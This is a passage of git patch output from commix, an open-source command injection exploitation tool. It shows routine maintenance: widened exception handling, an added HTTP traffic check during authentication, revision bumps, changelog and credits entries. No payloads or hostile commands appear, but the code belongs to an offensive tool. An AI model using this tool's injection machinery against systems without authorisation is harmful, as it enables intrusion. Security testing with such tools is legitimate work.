6b5dc1e345..db0cc291ee 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -519,7 +519,7 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times shell = [newline.replace(settings.END_LINE.CR, "") for newline in shell] #shell = [space.strip() for space in shell] shell = [empty for empty in shell if empty] - except _urllib.error.HTTPError as e: + except (_urllib.error.HTTPError, _urllib.error.URLError) as e: if str(e.getcode()) == settings.NOT_FOUND_ERROR: shell = "" diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index bdf875c641..2c6be486cd 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -190,7 +190,7 @@ def https_open(self, req): except AttributeError: raise SystemExit() - except _urllib.error.HTTPError as err_msg: + except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: if settings.UNAUTHORIZED_ERROR in str(err_msg): settings.UNAUTHORIZED = unauthorized = True settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS @@ -227,7 +227,7 @@ def https_open(self, req): checks.blocked_ip(page) # This is useful when handling exotic HTTP errors (i.e requests for authentication). - except _urllib.error.HTTPError as err: + except (_urllib.error.HTTPError, _urllib.error.URLError) as err: # Checks for not declared cookie(s), while server wants to set its own. if not menu.options.drop_set_cookie: checks.not_declared_cookies(err) @@ -326,7 +326,7 @@ def do_check(request): url = menu.options.url try: response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as e: + except (_urllib.error.HTTPError, _urllib.error.URLError) as e: try: authline = e.headers.get('www-authenticate', '') authobj = re.match(r'''(\w*)\s+realm=(.*),''',authline).groups() @@ -341,7 +341,7 @@ def do_check(request): result = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) except AttributeError: pass - except _urllib.error.HTTPError as e: + except (_urllib.error.HTTPError, _urllib.error.URLError) as e: pass else: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index b1559fa1d3..e171c43550 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -100,7 +100,7 @@ def estimate_response_time(url, timesec, http_request_method): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - except _urllib.error.HTTPError as err: + except (_urllib.error.HTTPError, _urllib.error.URLError) as err: ignore_start = time.time() if settings.UNAUTHORIZED_ERROR in str(err) and int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: pass diff --git a/src/utils/settings.py b/src/utils/settings.py index 511aab441d..6a8a682dc7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "32" +REVISION = "33" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ec69adfcf1d72608a7a0e01f96ee4d5e42c1a078 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 2 Jun 2025 08:28:07 +0300 Subject: [PATCH 559/560] Enhanced authentication process with detailed HTTP traffic inspection --- doc/CHANGELOG.md | 1 + src/core/requests/authentication.py | 1 + src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index bdb3c55912..88af6c1bef 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Minor code refactoring to enhance the authentication process with detailed HTTP traffic inspection. * Fixed: Improved handling of terminal input to prevent encoding errors. * Fixed: Minor bug-fix in parsing improperly padded `Base64` in Authorization headers. * Revised: Minor code refactoring to enhance file I/O reliability. diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 2fea54c0ca..5c022d9890 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -58,6 +58,7 @@ def authentication_process(http_request_method): request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) + headers.check_http_traffic(request) # Get the response of the request. return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) diff --git a/src/utils/settings.py b/src/utils/settings.py index 6a8a682dc7..1913455bd9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "33" +REVISION = "34" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0e81b71fbbb436e572c49a334395468fb133d905 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 4 Jun 2025 06:59:11 +0300 Subject: [PATCH 560/560] Trivial update for PR: https://github.com/commixproject/commix/pull/1014 --- doc/CHANGELOG.md | 1 + doc/THANKS.md | 1 + src/txt/__init__.py | 16 ++++++++++++++++ src/utils/settings.py | 2 +- 4 files changed, 19 insertions(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 88af6c1bef..d8789e0c6f 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Fixed: Minor bug fix for missing `.txt` files during setup/install. * Revised: Minor code refactoring to enhance the authentication process with detailed HTTP traffic inspection. * Fixed: Improved handling of terminal input to prevent encoding errors. * Fixed: Minor bug-fix in parsing improperly padded `Base64` in Authorization headers. diff --git a/doc/THANKS.md b/doc/THANKS.md index edc3c7e1be..13ed70aeee 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -74,6 +74,7 @@ * Thanks [powercrypt](https://github.com/powercrypt) for reporting a few bugs. * Thanks [prince74igor](https://github.com/prince74igor) for suggesting an enhancement. * Thanks [raeph123](https://github.com/raeph123) for contributing code. +* Thanks [Raymond-JV](https://github.com/Raymond-JV) for contributing code. * Thanks [royharoush](https://github.com/royharoush) for suggesting an enhancement. * Thanks [royshum93](https://github.com/royshum93) for reporting a bug. * Thanks [SaifSalah](https://github.com/SaifSalah) for reporting a bug. diff --git a/src/txt/__init__.py b/src/txt/__init__.py index e69de29bb2..4a4e6d4eec 100644 --- a/src/txt/__init__.py +++ b/src/txt/__init__.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 1913455bd9..45378d6e10 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "34" +REVISION = "35" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: